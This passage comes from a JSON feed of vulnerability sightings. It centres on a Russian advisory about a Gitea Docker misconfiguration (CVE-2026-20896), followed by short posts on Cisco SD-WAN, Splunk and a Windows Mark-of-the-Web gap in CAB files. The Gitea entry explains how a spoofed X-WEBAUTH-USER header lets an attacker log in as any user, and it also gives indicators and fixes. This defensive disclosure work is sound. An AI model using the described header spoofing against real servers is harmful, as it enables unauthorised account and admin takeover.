\u0432 Gitea\n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20896 \u0432 Gitea \u2014 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0434\u043b\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u043d\u044b\u0445 Git-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432 \u2014 \u0431\u044b\u043b\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u0440\u0435\u043b\u0438\u0437\u0435 1.26.3 \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u0439 \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0435 \u0438\u044e\u043d\u044f 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u0441\u043b\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f rz1027. CVE-\u043d\u043e\u043c\u0435\u0440 \u0431\u044b\u043b \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u043f\u043e\u0437\u0436\u0435, 3 \u0438\u044e\u043b\u044f. \n\n\ud83d\udce1 \u0421\u041a\u0418\u041f\u0410 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u043e\u043a\u043e\u043b\u043e 22 900 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0445\u043e\u0441\u0442\u043e\u0432 \u0441 Gitea, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0438\u0437\u0432\u043d\u0435. \u0418\u0437 \u043d\u0438\u0445 83% \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b CVE-2026-20896. \n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u0432\u044b\u0434\u0430\u0442\u044c \u0441\u0435\u0431\u044f \u0437\u0430 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0430 \u043f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0439 \u0430\u0432\u0442\u043e-\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438 \u2014 \u0437\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0435 \u0438\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0447\u0435\u0440\u0435\u0437 HTTP-\u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a X-WEBAUTH-USER \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u043e\u0439 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0435  \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u043a\u0441\u0438 (reverse-proxy).\n\n\u0414\u043b\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f: Gitea \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0440\u0430\u0437\u0432\u0451\u0440\u043d\u0443\u0442 \u0447\u0435\u0440\u0435\u0437 Docker-\u043e\u0431\u0440\u0430\u0437 \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u043c\u0438 \u0438 \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0439 reverse-proxy \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439. \u042d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0432\u043b\u0438\u044f\u0442\u044c \u043d\u0430 \u0438\u0442\u043e\u0433\u043e\u0432\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0445\u043e\u0441\u0442\u043e\u0432. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0421\u041a\u0418\u041f\u0410 PentOps \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u044b.\n\n\ud83d\udd27 \u041c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0442\u0435\u043c, \u0447\u0442\u043e \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 Docker-\u043e\u0431\u0440\u0430\u0437\u044b Gitea \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 1.26.3 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e:\n\nREVERSE_PROXY_TRUSTED_PROXIES = *\n\n\u041f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0439 reverse-proxy \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 (ENABLE_REVERSE_PROXY_AUTHENTICATION = true) Gitea \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0434\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0443 X-WEBAUTH-USER \u043e\u0442 \u043b\u044e\u0431\u043e\u0433\u043e IP-\u0430\u0434\u0440\u0435\u0441\u0430, \u0430 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0442 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0433\u043e reverse proxy. \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f 127.0.0.0/8,::1/128, \u0442\u043e \u0435\u0441\u0442\u044c \u0434\u043e\u0432\u0435\u0440\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043a \u0430\u0434\u0440\u0435\u0441\u0430\u043c \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0439 \u0441\u0432\u044f\u0437\u0438 (loopback-\u0430\u0434\u0440\u0435\u0441\u0430). \u0418\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u043c \u0448\u0430\u0431\u043b\u043e\u043d\u0435 Docker app.ini \u0431\u044b\u043b\u043e \u0437\u0430\u043c\u0435\u043d\u0435\u043d\u043e \u043d\u0430 \u0448\u0430\u0431\u043b\u043e\u043d \u0441 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u0430\u0434\u0440\u0435\u0441\u043e\u0432.\n\n\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 \u0441 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u043c \u0432\u0438\u0434\u0430 X-WEBAUTH-USER:  \u0438 \u0431\u044b\u0442\u044c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043a\u0430\u043a \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f, \u0442\u043e\u043a\u0435\u043d\u0430 \u0438\u043b\u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u0441\u0435\u0441\u0441\u0438\u0438. \u0415\u0441\u043b\u0438 \u0432 Gitea \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u0430\u0432\u0442\u043e-\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044f, \u0430\u043a\u043a\u0430\u0443\u043d\u0442 \u0441 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u043c \u0438\u043c\u0435\u043d\u0435\u043c \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u2014 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u043d\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0437\u043d\u0430\u0442\u044c \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u043b\u043e\u0433\u0438\u043d, \u043e\u043d \u043c\u043e\u0436\u0435\u0442 \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0435 \u0438\u043c\u044f. \u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043e\u043f\u0430\u0441\u043d\u044b\u0439 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u2014 \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0439 \u0432\u0445\u043e\u0434 \u043f\u043e\u0434 \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.\n\n\u2757\ufe0f\u0412\u0430\u0436\u043d\u043e\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435: \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437 \u0432\u0435\u0431-\u0441\u0435\u0430\u043d\u0441, \u0430 \u043d\u0435 \u0447\u0435\u0440\u0435\u0437 API \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0442\u043e\u043a\u0435\u043d\u043e\u0432 (/api/v1/...). \u042d\u0442\u043e\u0442 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a X-WEBAUTH-USER \u0438 \u043d\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\n\ud83d\udca5 \u041e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\u0417\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u043e\u0435 \u041f\u041e: \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 Docker-\u043e\u0431\u0440\u0430\u0437\u044b Gitea \u0434\u043e 1.26.3. \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e 1.26.4 \u0438\u043b\u0438 \u043d\u043e\u0432\u0435\u0435 \u0438\u0437-\u0437\u0430 \u0440\u0435\u0433\u0440\u0435\u0441\u0441\u0438\u0438 \u0432 1.26.3.\n\u0422\u0438\u043f: \u041e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 / Impersonation\n\u041a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f: CWE-284 (Improper Access Control)\n\ud83d\udd3bCVSS 3.1: 9.8 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n\n\ud83d\udd0d \u0418\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0430\u0442\u0430\u043a\u0438\n\u2022 \u0417\u0430\u043f\u0440\u043e\u0441\u044b \u043a Gitea \u0441 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u043c X-WEBAUTH-USER \u043e\u0442 \u043d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0447\u0435\u0440\u0435\u0437 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441.\n\u2022 \u0410\u043d\u043e\u043c\u0430\u043b\u044c\u043d\u044b\u0435 \u0432\u0445\u043e\u0434\u044b \u0432 \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0431\u0435\u0437 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u044b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\u2022 \u041d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\u2022 \u041f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u043e\u0432\u044b\u0445 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u2014 \u043f\u0440\u0438\u0437\u043d\u0430\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u0430\u0432\u0442\u043e-\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044e.\n\u2022 \u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0438\u043b\u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u043a\u043b\u044e\u0447\u0435\u0439 SSH, \u043a\u043b\u044e\u0447\u0435\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0432\u0435\u0431-\u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0447\u0438\u043a\u043e\u0432, \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u0435\u0439 \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f.\n\u2022 \u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043a \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u043c \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0441 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430\u043c\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437  reverse proxy.\n\n\ud83d\udee1 \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0437\u0430\u0449\u0438\u0442\u0435\n1. \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c Gitea \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 1.26.4 \u0438\u043b\u0438 \u043d\u043e\u0432\u0435\u0435. \n\n2. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e reverse-proxy \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\u0415\u0441\u043b\u0438 \u043e\u043d\u0430 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u2014 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c ENABLE_REVERSE_PROXY_AUTHENTICATION.\n\n3. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 proxy-\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438.\n\u0417\u0430\u043c\u0435\u043d\u0438\u0442\u0435 REVERSE_PROXY_TRUSTED_PROXIES = * \u043d\u0430 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0435 IP-\u0430\u0434\u0440\u0435\u0441\u0430 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 reverse proxy.\n\n4. \u041e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0430\u0432\u0442\u043e-\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0435\u0441\u043b\u0438 \u043e\u043d\u0430 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f.\n\n5. \u0417\u0430\u043f\u0440\u0435\u0442\u0438\u0442\u044c \u043f\u0440\u044f\u043c\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a Gitea \u0432 \u043e\u0431\u0445\u043e\u0434 reverse proxy. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u044d\u043a\u0440\u0430\u043d, \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u044e \u0441\u0435\u0442\u0435\u0439 Docker, \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u0443\u044e \u0447\u0430\u0441\u0442\u043d\u0443\u044e \u0441\u0435\u0442\u044c \u0438\u043b\u0438 \u0441\u043f\u0438\u0441\u043e\u043a \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u043d\u044b\u0445 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432.\n\n6. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0441 X-WEBAUTH-USER \u043e\u0442 \u043d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 \u0437\u0430 \u043f\u0435\u0440\u0438\u043e\u0434 \u0441 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u0430\u0442\u0447\u0430 (20-\u0435 \u0447\u0438\u0441\u043b\u0430 \u0438\u044e\u043d\u044f 2026).\n\n7. \u041e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0432\u0435\u043d\u0434\u043e\u0440\u0430.", "creation_timestamp": "2026-08-06T00:00:59.069545Z"}, {"uuid": "149cabcf-2a87-459c-b30b-41cc7c9adbfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/bleepingcomputer.com/post/3modrsahqkb2a", "content": "Cisco has released security updates to address a vulnerability in the Catalyst SD-WAN Manager, tracked as CVE-2026-20262, that was exploited in attacks to escalate to root privileges.", "creation_timestamp": "2026-06-15T17:13:04.225348Z"}, {"uuid": "c6b2322a-d82a-45ea-a456-085561ee8eb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/happeningnow.news/post/3modszmmtvx2o", "content": "\ud83d\udea8 Breaking: Cisco fixes SD-WAN vManage flaw exploited in zero-day attacks\nCisco has released security updates to address a vulnerability in the Catalyst SD-WAN Manager, tracked as CVE-2026-20262, that was exploited in attacks to escalate to root\u2026\n\n\ud83d\udd17 https://hnow.live/a/66fb7377", "creation_timestamp": "2026-06-15T17:35:04.901087Z"}, {"uuid": "24f68392-2e76-44e8-bc9c-04b3965d5512", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20251", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3moduswpma32v", "content": "\ud83d\udccc CVE-2026-20251 - In Splunk Enterprise versions below 10.2.4, 10.0.7, 9.4.12, and 9.3.13, Splunk Cloud Platform versions below 10.3.2512.12, 10.2.2510.14, 10.1.2507.22,... https://www.cyberhub.blog/cves/CVE-2026-20251", "creation_timestamp": "2026-06-15T18:07:08.464175Z"}, {"uuid": "1abe6b86-b6ef-40d8-886f-d2258c8b82bb", "vulnerability_lookup_origin": "405284c2-e461-4670-8979-7fd2c9755a60", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/09f921bd-4724-4d8a-9325-90703d2dfc4f", "content": "", "creation_timestamp": "2026-06-15T20:00:01.973135Z"}, {"uuid": "b09e6684-454c-4eed-b3d9-f3cdaffa7df7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/boredchilada.bsky.social/post/3moe3lw55qm2k", "content": "~Cisa~\nCISA added CVE-2026-20262 (Cisco SD-WAN) and CVE-2026-54420 (LiteSpeed cPanel) to its KEV catalog due to active exploitation.\n-\nIOCs: CVE-2026-20262, CVE-2026-54420\n-\n#CISA #CVE202620262 #CVE202654420 #KEV #threatintel", "creation_timestamp": "2026-06-15T20:08:28.757743Z"}, {"uuid": "e603d7d8-a7e9-4112-a768-9a3308d8d540", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/cvesentinel.bsky.social/post/3modzkyphcn2i", "content": "\ud83d\uded1 CVE-2026-20262\nCisco Catalyst SD-WAN Manager\nCVSS 6.5 / KEV: No\nTL;DR: A vulnerability in the web UI of Cisco Catalyst SD-WAN Manager, formerly SD-WAN vManage\u2026\nhttps://cvesentinel.com/report/CVE-2026-20262?utm_source=bluesky&utm_medium=social&utm_campaign=cvesentinel\n#infosec #CVE #vulnerability", "creation_timestamp": "2026-06-15T19:32:12.726073Z"}, {"uuid": "ec56e237-c70f-44ac-bb50-6fb7ea57d467", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20824", "type": "seen", "source": "https://infosec.exchange/users/wdormann/statuses/116755475429413960", "content": "I just realized that I'm personally \"credited\" in April's Microsoft Patch Tuesday with a CVE-less \"Defense-in-depth\" update.\nThe vulnerability?CAB files downloaded from the internet do not write the MotW for files extracted from them.\nI reported this to MSRC, and after refusing to generate a screen recording of the exploit (I mean, really?!), they finally acknowledged the problem. However, they went radio silent after that.\nMark of the Web (MotW) evasions have gotten CVEs in the past. If we look in the last 2 years we have: CVE-2024-38213, CVE-2024-38217, CVE-2024-43487, CVE-2025-24061, CVE-2025-27472, CVE-2025-47160, CVE-2025-49740, CVE-2026-20824, CVE-2026-32225, CVE-2026-45595\nSo, why does \"Windows doesn't write MotW for extracted CAB file contents\" get a CVE?  Well, Microsoft is a CNA.  So for the most part they can invent any rules that they'd like to play by.  It could be as simple as \"We're not particularly fond of you\", and as a result, we have a vulnerability with no ID to track it.\nHere's a screen recording of a VM with March's Patch Tuesday level of updates.  When you extract a file from a CAB file, no MotW is written.  And as such, we get no protections that leverage the presence of MotW, such as SmartScreen, Smart Application Control, Office Protected View.  In this case, we have a .URL file in a CAB.  Double clicking on it results in a remote EXE running on your computer with no warning or other prompts.  But, I suppose we all know that URL files are evil and have them blocked.", "creation_timestamp": "2026-06-15T18:12:55.292976Z"}, {"uuid": "1626062d-b219-483f-987f-a297bde7c048", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3modyqmwvxl2w", "content": "Cisco\u304c\u30bc\u30ed\u30c7\u30a4Attacks\u3067\u60aa\u7528\u3055\u308c\u305fSD-WAN vManage\u306e\u8106\u5f31\u6027\u3092\u4fee\u6b63\n\nCisco\u306f\u3001Catalyst SD-WAN Manager\u306e\u8106\u5f31\u6027\uff08CVE-2026-20262\uff09\u306b\u5bfe\u51e6\u3059\u308b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u8106\u5f31\u6027\u306f\u3001root\u6a29\u9650\u3078\u306e\u6607\u683c\u3092\u76ee\u7684\u3068\u3057\u305f\u653b\u6483\u3067\u5b9f\u969b\u306b\u60aa\u7528\u3055\u308c\u3066\u3044\u307e\u3057\u305f\u3002 